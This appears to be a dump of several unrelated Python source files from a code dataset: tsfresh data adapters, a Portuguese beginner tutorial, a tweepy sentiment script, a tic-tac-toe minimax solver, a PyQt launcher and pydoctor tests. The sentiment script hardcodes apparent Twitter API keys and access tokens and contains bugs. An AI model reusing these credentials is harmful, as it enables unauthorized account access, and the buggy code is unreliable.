for key, df in ts_dict.items()}\n\n    def __iter__(self):\n        for kind, grouped_df in self.grouped_dict.items():\n            for ts_id, group in grouped_df:\n                yield Timeseries(ts_id, str(kind), group[self.column_value])\n\n    def __len__(self):\n        return sum(grouped_df.ngroups for grouped_df in self.grouped_dict.values())\n\n\ndef to_tsdata(df, column_id=None, column_kind=None, column_value=None, column_sort=None):\n    \"\"\"\n    Wrap supported data formats as a TsData object, i.e. an iterable of individual time series.\n\n    E.g. the DataFrame\n\n        ====  ======  =========\n          id  kind          val\n        ====  ======  =========\n           1  a       -0.21761\n           1  a       -0.613667\n           1  a       -2.07339\n           2  b       -0.576254\n           2  b       -1.21924\n        ====  ======  =========\n\n    into\n\n        Iterable((1, 'a', pd.Series([-0.217610, -0.613667, -2.073386]),\n         (2, 'b', pd.Series([-0.576254, -1.219238]))\n\n    :param df: one of the supported input formats\n    :type df: pd.DataFrame|dict|TsData\n\n    :param column_id: The name of the id column to group by.\n    :type column_id: str|None\n\n    :param column_kind: The name of the column keeping record on the kind of the value.\n    :type column_kind: str|None\n\n    :param column_value: The name for the column keeping the value itself.\n    :type column_value: str|None\n\n    :param column_sort: The name for the column to sort on.\n    :type column_sort: str|None\n\n    :return: a data adapter\n    :rtype: TsData\n    \"\"\"\n\n    if isinstance(df, TsData):\n        return df\n\n    elif isinstance(df, pd.DataFrame):\n        if column_kind is not None:\n            return LongTsFrameAdapter(df, column_id, column_kind, column_value, column_sort)\n        else:\n            if column_value is not None:\n                return WideTsFrameAdapter(df, column_id, column_sort, [column_value])\n            else:\n                return WideTsFrameAdapter(df, column_id, column_sort)\n\n    elif isinstance(df, dict):\n        return TsDictAdapter(df, column_id, column_value, column_sort)\n\n    else:\n        raise ValueError(\"df must be a DataFrame or a dict of DataFrames. \"\n                         \"See https://tsfresh.readthedocs.io/en/latest/text/data_formats.html\")\n","sub_path":"tsfresh/feature_extraction/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":12461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"530232624","text":"# Iniciando alguns exemplos com funções\n\n# Funções são \"pedaços\" de código que podem ser chamadas e eecutados em qualquer parte\n# do codigo que estiver sendo escrito. Funcionam como blocos mais fáceis de manipular.\n\n# Pricipais vantagens em utilizar funções no desenvolvimento do código:\n# 1- Reutilização de codigo;\n# 2- Melhor depuração do código (erros)\n# 3- Melhor legibildiade para o código.\n\n# Exemplo 01: Função básica com parametro\ndef mensagem():\n    print(\"Exibindo a primeira mensagem da função.\")\n\n# Chamando a função do Exemplo 01\nmensagem()\n\n# Exemplo 02: FUnção básica com parametro\ndef nome_do_usuario(nome):\n    print(\"O nome do usuário é: \",nome)\n\n# Chamandoa função do Exemplo 02\nnome_do_usuario(\"Gabriel\")\nnome_do_usuario(123)\n\n# Dados exemplos básicos, o tipo de função mais utilizada é a função com o return\n# funções geralmente tem 3 caracteristicas -> a ENTRADA (paramentros da função) o\n# PROCESSAMENTO (código dentro da função que vai tratar os parametros) e a SAIDA\n# que é o return 9saída / resultado do processamento da função.\n\n# Exemplo 03: FUnção simples com retorno\ndef funcaoSoma(numero01, numero02):\n    return numero01 + numero02\n\nresultado01 = funcaoSoma(10, 20)\nprint(resultado01)\n\n# Atento pois o Python não define uma tipo de variavel, então a mesma função po-\n# de ser usada também no uso de strings, concatenando duas palavras como no exemplo:\nresultado02 = funcaoSoma('Gab','riel')\nprint(resultado02) \n\n# Testando uma função com demais laços de repetição -> é importante lembrar que quando uma\n# função tiver return, no momento em que o return é executado, o fluxo sai da função e não\n# executa mais as instruções abaixo dela, conforme no exemplo abaixo:\n\ndef teste():\n    for i in range(10):\n        if i > 2:\n            return i\n    print(\"Saiu do for\")\n\n# Observe que a opção print() nao foi executada, pois o return cumpriu a finalização da função\nteste()\n\n# Exemplificando uma função com a sequencia Fibonacci onde\n\"\"\"\n\nf(n) = {0, 1, F(n-1)+F(n-2)}\n\n\"\"\"\ndef fibonacci(n):\n    F0, F1 = 0, 1\n    if n < 2:\n        return n\n    for i in range(2, n+1):\n        Fn = F1 + F0\n        F0, F1 = F1, Fn\n    return Fn\n\n# Nesse momento, o laço acima consegue reproduzir os fundamentos da função Fibonacci, mas é \n# necessario observar a função para confirmar que a lógica está sendo tautologica, utilizan\n# do então o lçao de repritção for junto com a função.\nfor i in range(10):\n    print('F(',i, ') = ', fibonacci(i), sep = '')","sub_path":"Py_LV01/015_funcoes.py","file_name":"015_funcoes.py","file_ext":"py","file_size_in_byte":2558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"114788932","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Oct 22 12:09:21 2019\r\n\r\n@author: PaulEloff\r\n\"\"\"\r\n\r\nimport tweepy\r\nfrom textblob import TextBlob\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\nclass SentimentAnalysis:\r\n    def __init__(self):\r\n        # Create AppAuthHandler instance for OAuth 2 authenrication (read-only access to public information)\r\n        self.auth = tweepy.AppAuthHandler('qjYkLFVxA5t1huPpwg7bD0id6', '4X6JzmUnSK2SJAMmVqBKU9h10KE8GQ0rjOK0OuLEY9fOZwHapA')\r\n    \r\n        # ===================================================================================================================\r\n        # To create an OAuthHandler for OAuth 1 authentication , use the following:\r\n        # ===================================================================================================================\r\n        # self.auth = tweepy.OAuthHandler('qjYkLFVxA5t1huPpwg7bD0id6', '4X6JzmUnSK2SJAMmVqBKU9h10KE8GQ0rjOK0OuLEY9fOZwHapA')\r\n        # auth.set_access_token('1105432586992713729-ZjA1JPMbO9bwUukSR9CV3L3uZ71sIr', 'WVUTZHGnORCiiCagk2IBvgwVSQV6UxWQI192k4mCgjCo3')\r\n        # ===================================================================================================================\r\n        \r\n        # Define the API reference\r\n        self.api = tweepy.API(auth)\r\n    \r\n    def public_analysis(searchTerm, countToAnalyze):\r\n     \r\n        # Retrieve tweets based on user inputs and initiate sentiment variables\r\n        tweets = tweepy.Cursor(api.search, q=searchTerm).items(countToAnalyze)\r\n        positive, w_positive, negative, w_negative, neutral, polarity, currentPol = 0, 0, 0, 0, 0, 0, 0\r\n        \r\n        # Analyze each tweet's sentiment and adjust variables accordingly\r\n        for tweet in tweets:\r\n            analysis = TextBlob(tweet.text)\r\n            currentPol = analysis.sentiment.polarity\r\n            polarity += currentPol\r\n            if (currentPol == 0): neutral +=1\r\n            elif (currentPol < 0):\r\n                negative +=1\r\n                w_negative -= currentPol\r\n            elif (currentPol > 0):\r\n                positive +=1\r\n                w_positive += currentPol\r\n        \r\n        # Ensure the correct number of tweets were analyzed\r\n        totalTweets = positive + negative + neutral\r\n        print(\"Total number of analyzed tweets: \" + str(totalTweets))\r\n        \r\n        # Determine total tweets that has a polarized sentiment for later use and format float values to two-decimal percentages\r\n        totalPolTweets = positive + negative\r\n        positive = format(100*(float(positive)/float(totalTweets)), '.2f')\r\n        w_positive = format(100*(float(w_positive)/float(positive)), '.2f')\r\n        negative = format(100*(float(negative)/float(totalTweets)), '.2f')\r\n        w_negative = format(100*(float(w_negative)/float(negative)), '.2f')\r\n        neutral = format(100*(float(neutral)/float(totalTweets)), '.2f')\r\n        polarity = format(100*(float(polarity)/float(totalTweets)), '.2f')\r\n        \r\n        # Print unweighted results\r\n        labels = [\"Positive [\" + positive + \"%]\", \"Neutral [\" + neutral + \"%]\", \"Negative [\" + negative + \"%]\"]\r\n        sizes = [positive, neutral, negative]\r\n        colors = [\"green\",\"yellow\",\"red\"]\r\n        patches, texts = plt.pie(sizes, colors=colors, startangle=90)\r\n        plt.legend(patches, labels, loc=\"best\")\r\n        plt.title(\"Proportion of tweets that are neutral, positive or negative:\")\r\n        plt.axis(\"equal\")\r\n        plt.show()\r\n        \r\n        # Print weighted results\r\n        labels = [\"Positive tweets are \" + w_positive + \"% positively polarized\", \"Negative tweets are \" + w_negative + \"% negatively polarized\"]\r\n        sizes = [w_positive, w_negative]\r\n        colors = [\"green\",\"red\"]\r\n        patches, texts = plt.pie(sizes, colors=colors, startangle=90)\r\n        plt.legend(patches, labels, loc=\"best\")\r\n        plt.title(\"Polarity of positive and negative tweets: \")\r\n        plt.axis(\"equal\")\r\n        plt.show()\r\n        \r\n        # Print initial conclusion\r\n        comparison = format(float(positive)/float(negative), '.2f')\r\n        w_comparison = format(float(w_positive)/float(w_negative), '.2f')\r\n        if (float(comparison) >= 1):\r\n            if (float(w_comparison) > 1):\r\n                print(\"There are \" + comparison + \" times more positive tweets than negative tweets.\")\r\n                print(\"Furthermore, the positive tweets are \" + w_comparison + \" times more positive than the negative tweets are negative.\")\r\n            else:\r\n                print(\"There are \" + comparison + \" times more positive tweets than negative tweets.\")\r\n                print(\"Furthermore, the negative tweets are \" + format(1/float(w_comparison), '.2f') + \" times more negative than the positive tweets are positive.\")\r\n        else:\r\n            if (float(w_comparison) > 1):\r\n                print(\"There are \" + format(1/float(comparison), '.2f') + \" times more negative tweets than positive tweets.\")\r\n                print(\"Furthermore, the positive tweets are \" + w_comparison + \" times more positive than the negative tweets are negative.\")\r\n            else:\r\n                print(\"There are \" + format(1/float(comparison), '.2f') + \" times more negative tweets than positive tweets.\")\r\n                print(\"Furthermore, the negative tweets are \" + format(1/float(w_comparison), '.2f') + \" times more negative than the positive tweets are positive.\")\r\n                \r\n        # Print final conclusion\r\n        print(\"\")\r\n        if (polarity == 0): print(\"Based on \" + str(totalTweets) + \" tweets containing \\\"\" + searchTerm + \"\\\", the overall sentiment towards the topic is exactly neutral.\")\r\n        elif (float(polarity) < 0.00): print(\"Based on \" + str(totalTweets) + \" tweets containing \\\"\" + searchTerm + \"\\\", the overall sentiment towards the topic is \" + polarity + \"% negative.\")\r\n        elif (float(polarity) > 0.00): print(\"Based on \" + str(totalTweets) + \" tweets containing \\\"\" + searchTerm + \"\\\", the overall sentiment towards the topic is \" + polarity + \"% positive.\")\r\n\r\n    def once_off_analysis(stmt):  \r\n        # Analyze sentiment of statement\r\n        analysis = TextBlob(stmt)\r\n        polarity = analysis.sentiment.polarity\r\n        if (polarity == 0): print(\"The sentiment of your statement or sentence is neutral.\")\r\n        elif (float(polarity) < 0.00): print(\"The sentiment of your statement or sentence is \" + format(-100*polarity, '.2f') + \"% negative.\")\r\n        elif (float(polarity) > 0.00): print(\"The sentiment of your statement or sentence is \" + format(100*polarity, '.2f') + \"% positive.\")","sub_path":"sentiment.py","file_name":"sentiment.py","file_ext":"py","file_size_in_byte":6594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"48072381","text":"\n\n# Create a program that asks the user to enter their name and their age. Print out a message\n# addressed to them that tells them the year that they will turn 100 years old.\n#\n# Extras:\n#\n# Add on to the previous program by asking the user for another number and printing\n# out that many copies of the previous message. (Hint: order of operations exists in Python)\n#\n# Print out that many copies of the previous message on separate lines.\n# (Hint: the string \"\\n is the same as pressing the ENTER button)\n\nimport datetime\n\nx = input(\"Please enter your name:\")\ny = int(input(\"How old are you?\"))\nz = input(\"When is your birthday?\")\ncopy_number = int(input(\"Tell me a number:\"))\n\nnow = datetime.datetime.today()\nbirth_day = datetime.datetime.strptime(z, \"%m/%d\").day\nbirth_month = datetime.datetime.strptime(z, \"%m/%d\").month\n\nif birth_month == now.month and birth_day < now.day:\n    birth_year = now.year - y\nelif birth_month == now.month and birth_day > now.day:\n    birth_year = now.year - y - 1\nelif birth_month == now.month and birth_day == now.day:\n    birth_year = now.year - y\n    print(\"happy birthday!\")\nelif birth_month < now.month:\n    birth_year = now.year - y\nelse:\n    birth_year = now.year - y - 1\n\nmessage = \"\"\nwhile copy_number > 0:\n    message = message + x + \" you will turn 100 year old in \" + str(birth_year + 100) + \"; \\n\"\n    copy_number = copy_number - 1\n\nprint(message)\n\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"566734255","text":"\r\nplayer1 = 'x' #maximizer\r\nplayer2 = 'o' #minimizer\r\nboard = [['x', 'o', 'x'],\r\n          ['o', '_', '_'],\r\n          ['_', '_', '_']]\r\n\r\ndepth = 0\r\n    \r\n#is there any moves left?\r\ndef isMovesLeft(board):\r\n    \r\n    for i in range(3):\r\n        for j in range(3):\r\n            if (board[i][j] == '_'):\r\n                return True\r\n    return False\r\n\r\n#give score \r\ndef evaluate(board):\r\n    \r\n    #check rows for X\r\n    rowScoreX=0\r\n    for col in range(0,3):\r\n        for row in range(0,3):\r\n            if(board[col][row] == 'x'):\r\n                \r\n                rowScoreX = rowScoreX + 1\r\n                #(\"row: \"+ str(row) + \" col: \" + str(col) + \" score: \" +str(rowScoreX))\r\n        if (rowScoreX == 3):\r\n            return 10\r\n        else:\r\n            rowScoreX = 0\r\n\r\n    #check rows for O\r\n    rowScoreO=0\r\n    for col in range(0,3):\r\n        for row in range(0,3):\r\n            if(board[col][row] == 'o'):\r\n                rowScoreO = rowScoreO + 1\r\n                #print(\"row: \"+ str(row) + \" col: \" + str(col) + \" score: \" +str(rowScoreO))\r\n        if (rowScoreO == 3):\r\n            return -10\r\n        else:\r\n            rowScoreO = 0\r\n\r\n    #check columns for X\r\n    colScoreX=0\r\n    for row in range(0,3):\r\n        for col in range(0,3):\r\n            if(board[col][row] == 'x'):\r\n                colScoreX = colScoreX + 1\r\n                #print(\"row: \"+ str(row) + \" col: \" + str(col) + \" score: \" +str(colScoreX))\r\n        if (colScoreX == 3):\r\n            return 10\r\n        else:\r\n            colScoreX = 0\r\n\r\n\r\n\r\n    #check columns for O\r\n    colScoreO=0\r\n    for row in range(0,3):\r\n        for col in range(0,3):\r\n            if(board[col][row] == 'o'):\r\n                colScoreO = colScoreO + 1\r\n                #print(\"row: \"+ str(row) + \" col: \" + str(col) + \" score: \" +str(colScoreO))\r\n        if (colScoreO == 3):\r\n            return -10\r\n        else:\r\n            colScoreO = 0\r\n\r\n    #check diagonals for X\r\n    diaScoreX=0\r\n    for row in range(0,3):\r\n        if(board[row][row] == 'x'):\r\n             diaScoreX = diaScoreX + 1\r\n             #print(\"row: \"+ str(row) + \" col: \" + str(row) + \" score: \" +str(diaScoreX))\r\n    if (diaScoreX == 3):\r\n        return 10\r\n    else:\r\n       diaScoreX = 0\r\n        \r\n    #check diagonals for O\r\n    diaScoreO=0\r\n    for row in range(0,3):\r\n        if(board[row][row] == 'o'):\r\n             diaScoreO = diaScoreO + 1\r\n             #print(\"row: \"+ str(row) + \" col: \" + str(row) + \" score: \" +str(diaScoreO))\r\n    if (diaScoreO == 3):\r\n        return -10\r\n    else:\r\n        diaScoreO = 0\r\n\r\n    #check diagonals for X REVERSE\r\n    diaScoreX=0\r\n    for row in range(0,3):\r\n        if(board[2-row][row] == 'x'):\r\n             diaScoreX = diaScoreX + 1\r\n             #print(\"row: \"+ str(row) + \" col: \" + str(row) + \" score: \" +str(diaScoreX))\r\n    if (diaScoreX == 3):\r\n        return 10\r\n    else:\r\n       diaScoreX = 0\r\n\r\n\r\n    #check diagonals for O REVERSE\r\n    diaScoreO=0\r\n    for row in range(0,3):\r\n        if(board[2-row][row] == 'o'):\r\n             diaScoreO = diaScoreO + 1\r\n             #print(\"row: \"+ str(row) + \" col: \" + str(row) + \" score: \" +str(diaScoreO))\r\n    if (diaScoreO == 3):\r\n        return -10\r\n    else:\r\n        diaScoreO = 0\r\n        \r\n        \r\n        \r\n    return 0\r\n\r\n\r\ndef minimax(board, isMaximizingPlayer, alpha, beta):\r\n    \r\n    #if ended\r\n    score = evaluate(board)\r\n    if(score == 10):\r\n        return score\r\n    if(score == -10):\r\n        return score\r\n    if(isMovesLeft(board) == False):\r\n        return 0\r\n    \r\n    if(isMaximizingPlayer):\r\n        bestValue = -1000\r\n        global depth\r\n        \r\n        #give all posibilities\r\n        for i in range(3):\r\n            for j in range(3):\r\n                if(board[i][j] == '_'):\r\n                    board[i][j] = 'x'\r\n                    value = minimax(board, False, alpha, beta)\r\n                    depth = depth + 1\r\n                    bestValue = max(value, bestValue)\r\n                    alpha = max(bestValue, alpha)\r\n                    if(alpha>=beta):\r\n                        break\r\n                    #undo move\r\n                    board[i][j] = '_'        \r\n        return bestValue\r\n    \r\n    else:\r\n         bestValue = 1000\r\n         \r\n         for i in range(3):\r\n            for j in range(3):\r\n                if(board[i][j] == '_'):\r\n                    board[i][j] = 'o'\r\n                    value = minimax(board,  True, alpha, beta)\r\n                    depth = depth + 1\r\n                    bestValue = min(value, bestValue)\r\n                    beta = min(beta, bestValue)\r\n                    if(alpha>=beta):\r\n                        break\r\n                    #undo move\r\n                    board[i][j] = '_'        \r\n         return bestValue\r\n    \r\n    \r\n    \r\n        \r\n#begin\r\ndef findBestMove(board):\r\n    bestVal = -1000\r\n    bestMove = (-1, -1)\r\n   \r\n    for i in range(3) :    \r\n        for j in range(3) :\r\n            if (board[i][j] == '_') :\r\n                \r\n                board[i][j] = player1\r\n                moveVal = minimax(board, False,-1000, 1000)\r\n                # Undo move\r\n                board[i][j] = '_'\r\n\r\n                if (moveVal > bestVal) :               \r\n                    bestMove = (i, j)\r\n                    bestVal = moveVal\r\n    print(\"how many calculation happened: \" + str(depth))\r\n    return bestMove\r\n\r\n\r\nprint(findBestMove(board))","sub_path":"tictactoe_alphabeta.py","file_name":"tictactoe_alphabeta.py","file_ext":"py","file_size_in_byte":5399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"10379314","text":"#! /usr/bin/env python3\n\n\nfrom PyQt5.QtWidgets import QApplication, QMainWindow\nfrom views import main\nfrom views import cliente\nclass Principal(QApplication):\n    def __init__(self, parent=None):\n        super(Principal, self).__init__(parent)\n        self.window = QMainWindow()\n        self.ui = main.Ui_MainWindow()\n        self.ui.setupUi(self.window)\n        self.window.show()\n\n\nif __name__ == '__main__':\n    import sys\n    app = Principal(sys.argv)\n    sys.exit(app.exec_())\n","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"60754988","text":"from typing import List, Optional, cast\nimport re\n\nfrom pytest import mark, raises\nfrom twisted.web.template import Tag, tags\n\nfrom pydoctor import epydoc2stan, model\nfrom pydoctor.epydoc.markup import DocstringLinker, flatten\nfrom pydoctor.epydoc.markup.epytext import ParsedEpytextDocstring\nfrom pydoctor.sphinx import SphinxInventory\nfrom pydoctor.test.test_astbuilder import fromText, unwrap\n\nfrom . import CapSys\n\n\ndef test_multiple_types() -> None:\n    mod = fromText('''\n    def f(a):\n        \"\"\"\n        @param a: it\\'s a parameter!\n        @type a: a pink thing!\n        @type a: no, blue! aaaargh!\n        \"\"\"\n    class C:\n        \"\"\"\n        @ivar a: it\\'s an instance var\n        @type a: a pink thing!\n        @type a: no, blue! aaaargh!\n        \"\"\"\n    class D:\n        \"\"\"\n        @cvar a: it\\'s an instance var\n        @type a: a pink thing!\n        @type a: no, blue! aaaargh!\n        \"\"\"\n    class E:\n        \"\"\"\n        @cvar: missing name\n        @type: name still missing\n        \"\"\"\n    ''')\n    # basically \"assert not fail\":\n    epydoc2stan.format_docstring(mod.contents['f'])\n    epydoc2stan.format_docstring(mod.contents['C'])\n    epydoc2stan.format_docstring(mod.contents['D'])\n    epydoc2stan.format_docstring(mod.contents['E'])\n\n\ndef docstring2html(obj: model.Documentable) -> str:\n    stan = epydoc2stan.format_docstring(obj)\n    assert stan.tagName == 'div', stan\n    # We strip off break lines for the sake of simplicity.\n    return flatten(stan).replace('><', '>\\n<').replace('<wbr></wbr>', '').replace('<wbr>\\n</wbr>', '')\n\ndef summary2html(obj: model.Documentable) -> str:\n    stan = epydoc2stan.format_summary(obj)\n    assert stan.tagName == 'span', stan\n    return flatten(stan.children)\n\n\ndef test_html_empty_module() -> None:\n    mod = fromText('''\n    \"\"\"Empty module.\"\"\"\n    ''')\n    assert docstring2html(mod) == \"<div>\\n<p>Empty module.</p>\\n</div>\"\n\n\ndef test_xref_link_not_found() -> None:\n    \"\"\"A linked name that is not found is output as text.\"\"\"\n    mod = fromText('''\n    \"\"\"This link leads L{nowhere}.\"\"\"\n    ''', modname='test')\n    html = docstring2html(mod)\n    assert '<code>nowhere</code>' in html\n\n\ndef test_xref_link_same_page() -> None:\n    \"\"\"A linked name that is documented on the same page is linked using only\n    a fragment as the URL.\n    \"\"\"\n    mod = fromText('''\n    \"\"\"The home of L{local_func}.\"\"\"\n\n    def local_func():\n        pass\n    ''', modname='test')\n    html = docstring2html(mod)\n    assert 'href=\"#local_func\"' in html\n\n\ndef test_xref_link_other_page() -> None:\n    \"\"\"A linked name that is documented on a different page but within the\n    same project is linked using a relative URL.\n    \"\"\"\n    mod1 = fromText('''\n    def func():\n        \"\"\"This is not L{test2.func}.\"\"\"\n    ''', modname='test1')\n    fromText('''\n    def func():\n        pass\n    ''', modname='test2', system=mod1.system)\n    html = docstring2html(mod1.contents['func'])\n    assert 'href=\"test2.html#func\"' in html\n\n\ndef test_xref_link_intersphinx() -> None:\n    \"\"\"A linked name that is documented in another project is linked using\n    an absolute URL (retrieved via Intersphinx).\n    \"\"\"\n    mod = fromText('''\n    def func():\n        \"\"\"This is a thin wrapper around L{external.func}.\"\"\"\n    ''', modname='test')\n\n    system = mod.system\n    inventory = SphinxInventory(system.msg)\n    inventory._links['external.func'] = ('https://example.net', 'lib.html#func')\n    system.intersphinx = inventory\n\n    html = docstring2html(mod.contents['func'])\n    assert 'href=\"https://example.net/lib.html#func\"' in html\n\n\ndef test_func_undocumented_return_nothing() -> None:\n    \"\"\"When the returned value is undocumented (no 'return' field) and its type\n    annotation is None, omit the \"Returns\" entry from the output.\n    \"\"\"\n    mod = fromText('''\n    def nop() -> None:\n        pass\n    ''')\n    func = mod.contents['nop']\n    lines = docstring2html(func).split('\\n')\n    assert '<td class=\"fieldName\">Returns</td>' not in lines\n\n\ndef test_func_undocumented_return_something() -> None:\n    \"\"\"When the returned value is undocumented (no 'return' field) and its type\n    annotation is not None, include the \"Returns\" entry in the output.\n    \"\"\"\n    mod = fromText('''\n    def get_answer() -> int:\n        return 42\n    ''')\n    func = mod.contents['get_answer']\n    lines = docstring2html(func).splitlines()\n    expected_html = [\n        '<div>', '<p class=\"undocumented\">Undocumented</p>',\n        '<table class=\"fieldTable\">',\n        '<tr class=\"fieldStart\">',\n        '<td class=\"fieldName\" colspan=\"2\">Returns</td>',\n        '</tr>',\n        '<tr>', '<td class=\"fieldArgContainer\">', '<code>int</code>',\n        '</td>',\n        '<td class=\"fieldArgDesc\">',\n        '<span class=\"undocumented\">Undocumented</span>',\n        '</td>', '</tr>', '</table>', '</div>'\n        ]\n    assert lines == expected_html, str(lines)\n\n\ndef test_func_arg_and_ret_annotation() -> None:\n    annotation_mod = fromText('''\n    def f(a: List[str], b: \"List[str]\") -> bool:\n        \"\"\"\n        @param a: an arg, a the best of args\n        @param b: a param to follow a\n        @return: the best that we can do\n        \"\"\"\n    ''')\n    classic_mod = fromText('''\n    def f(a, b):\n        \"\"\"\n        @param a: an arg, a the best of args\n        @type a: C{List[str]}\n        @param b: a param to follow a\n        @type b: C{List[str]}\n        @return: the best that we can do\n        @rtype: C{bool}\n        \"\"\"\n    ''')\n    annotation_fmt = docstring2html(annotation_mod.contents['f'])\n    classic_fmt = docstring2html(classic_mod.contents['f'])\n    assert annotation_fmt == classic_fmt\n\ndef test_func_arg_and_ret_annotation_with_override() -> None:\n    annotation_mod = fromText('''\n    def f(a: List[str], b: List[str]) -> bool:\n        \"\"\"\n        @param a: an arg, a the best of args\n        @param b: a param to follow a\n        @type b: C{List[awesome]}\n        @return: the best that we can do\n        \"\"\"\n    ''')\n    classic_mod = fromText('''\n    def f(a, b):\n        \"\"\"\n        @param a: an arg, a the best of args\n        @type a: C{List[str]}\n        @param b: a param to follow a\n        @type b: C{List[awesome]}\n        @return: the best that we can do\n        @rtype: C{bool}\n        \"\"\"\n    ''')\n    annotation_fmt = docstring2html(annotation_mod.contents['f'])\n    classic_fmt = docstring2html(classic_mod.contents['f'])\n    assert annotation_fmt == classic_fmt\n\ndef test_func_arg_when_doc_missing() -> None:\n    annotation_mod = fromText('''\n    def f(a: List[str], b: int) -> bool:\n        \"\"\"\n        Today I will not document details\n        \"\"\"\n    ''')\n    classic_mod = fromText('''\n    def f(a):\n        \"\"\"\n        Today I will not document details\n        @type a: C{List[str]}\n        @type b: C{int}\n        @rtype: C{bool}\n        \"\"\"\n    ''')\n    annotation_fmt = docstring2html(annotation_mod.contents['f'])\n    classic_fmt = docstring2html(classic_mod.contents['f'])\n    assert annotation_fmt == classic_fmt\n\ndef test_func_param_duplicate(capsys: CapSys) -> None:\n    \"\"\"Warn when the same parameter is documented more than once.\"\"\"\n    mod = fromText('''\n    def f(x, y):\n        \"\"\"\n        @param x: Actual documentation.\n        @param x: Likely typo or copy-paste error.\n        \"\"\"\n    ''')\n    epydoc2stan.format_docstring(mod.contents['f'])\n    captured = capsys.readouterr().out\n    assert captured == '<test>:5: Parameter \"x\" was already documented\\n'\n\n@mark.parametrize('field', ('param', 'type'))\ndef test_func_no_such_arg(field: str, capsys: CapSys) -> None:\n    \"\"\"Warn about documented parameters that don't exist in the definition.\"\"\"\n    mod = fromText(f'''\n    def f():\n        \"\"\"\n        This function takes no arguments...\n\n        @{field} x: ...but it does document one.\n        \"\"\"\n    ''')\n    epydoc2stan.format_docstring(mod.contents['f'])\n    captured = capsys.readouterr().out\n    assert captured == '<test>:6: Documented parameter \"x\" does not exist\\n'\n\ndef test_func_no_such_arg_warn_once(capsys: CapSys) -> None:\n    \"\"\"Warn exactly once about a param/type combination not existing.\"\"\"\n    mod = fromText('''\n    def f():\n        \"\"\"\n        @param x: Param first.\n        @type x: Param first.\n        @type y: Type first.\n        @param y: Type first.\n        \"\"\"\n    ''')\n    epydoc2stan.format_docstring(mod.contents['f'])\n    captured = capsys.readouterr().out\n    assert captured == (\n        '<test>:4: Documented parameter \"x\" does not exist\\n'\n        '<test>:6: Documented parameter \"y\" does not exist\\n'\n        )\n\ndef test_func_arg_not_inherited(capsys: CapSys) -> None:\n    \"\"\"Do not warn when a subclass method lacks parameters that are documented\n    in an inherited docstring.\n    \"\"\"\n    mod = fromText('''\n    class Base:\n        def __init__(self, value):\n            \"\"\"\n            @param value: Preciousss.\n            @type value: Gold.\n            \"\"\"\n    class Sub(Base):\n        def __init__(self):\n            super().__init__(1)\n    ''')\n    epydoc2stan.format_docstring(mod.contents['Base'].contents['__init__'])\n    assert capsys.readouterr().out == ''\n    epydoc2stan.format_docstring(mod.contents['Sub'].contents['__init__'])\n    assert capsys.readouterr().out == ''\n\ndef test_func_param_as_keyword(capsys: CapSys) -> None:\n    \"\"\"Warn when a parameter is documented as a @keyword.\"\"\"\n    mod = fromText('''\n    def f(p, **kwargs):\n        \"\"\"\n        @keyword a: Advanced.\n        @keyword b: Basic.\n        @type b: Type for previously introduced keyword.\n        @keyword p: A parameter, not a keyword.\n        \"\"\"\n    ''')\n    epydoc2stan.format_docstring(mod.contents['f'])\n    assert capsys.readouterr().out == '<test>:7: Parameter \"p\" is documented as keyword\\n'\n\ndef test_func_missing_param_name(capsys: CapSys) -> None:\n    \"\"\"Param and type fields must include the name of the parameter.\"\"\"\n    mod = fromText('''\n    def f(a, b):\n        \"\"\"\n        @param a: The first parameter.\n        @param: The other one.\n        @type: C{str}\n        \"\"\"\n    ''')\n    epydoc2stan.format_docstring(mod.contents['f'])\n    captured = capsys.readouterr().out\n    assert captured == (\n        '<test>:5: Parameter name missing\\n'\n        '<test>:6: Parameter name missing\\n'\n        )\n\ndef test_missing_param_computed_base(capsys: CapSys) -> None:\n    \"\"\"Do not warn if a parameter might be added by a computed base class.\"\"\"\n    mod = fromText('''\n    from twisted.python import components\n    import zope.interface\n    class IFoo(zope.interface.Interface):\n        pass\n    class Proxy(components.proxyForInterface(IFoo)):\n        \"\"\"\n        @param original: The wrapped instance.\n        \"\"\"\n    ''')\n    html = docstring2html(mod.contents['Proxy'])\n    assert '<td class=\"fieldArgDesc\">The wrapped instance.</td>' in html.split('\\n')\n    captured = capsys.readouterr().out\n    assert captured == ''\n\ndef test_constructor_param_on_class(capsys: CapSys) -> None:\n    \"\"\"Constructor parameters can be documented on the class.\"\"\"\n    mod = fromText('''\n    class C:\n        \"\"\"\n        @param p: Constructor parameter.\n        @param q: Not a constructor parameter.\n        \"\"\"\n        def __init__(self, p):\n            pass\n    ''')\n    html = docstring2html(mod.contents['C']).split('\\n')\n    assert '<td class=\"fieldArgDesc\">Constructor parameter.</td>' in html\n    # Non-existing parameters should still end up in the output, because:\n    # - pydoctor might be wrong about them not existing\n    # - the documentation may still be useful, for example if belongs to\n    #   an existing parameter but the name in the @param field has a typo\n    assert '<td class=\"fieldArgDesc\">Not a constructor parameter.</td>' in html\n    captured = capsys.readouterr().out\n    assert captured == '<test>:5: Documented parameter \"q\" does not exist\\n'\n\n\ndef test_func_raise_linked() -> None:\n    \"\"\"Raise fields are formatted by linking the exception type.\"\"\"\n    mod = fromText('''\n    class SpanishInquisition(Exception):\n        pass\n    def f():\n        \"\"\"\n        @raise SpanishInquisition: If something unexpected happens.\n        \"\"\"\n    ''', modname='test')\n    html = docstring2html(mod.contents['f']).split('\\n')\n    assert '<a href=\"test.SpanishInquisition.html\">SpanishInquisition</a>' in html\n\n\ndef test_func_raise_missing_exception_type(capsys: CapSys) -> None:\n    \"\"\"When a C{raise} field is missing the exception type, a warning is logged\n    and the HTML will list the exception type as unknown.\n    \"\"\"\n    mod = fromText('''\n    def f(x):\n        \"\"\"\n        @raise ValueError: If C{x} is rejected.\n        @raise: On a 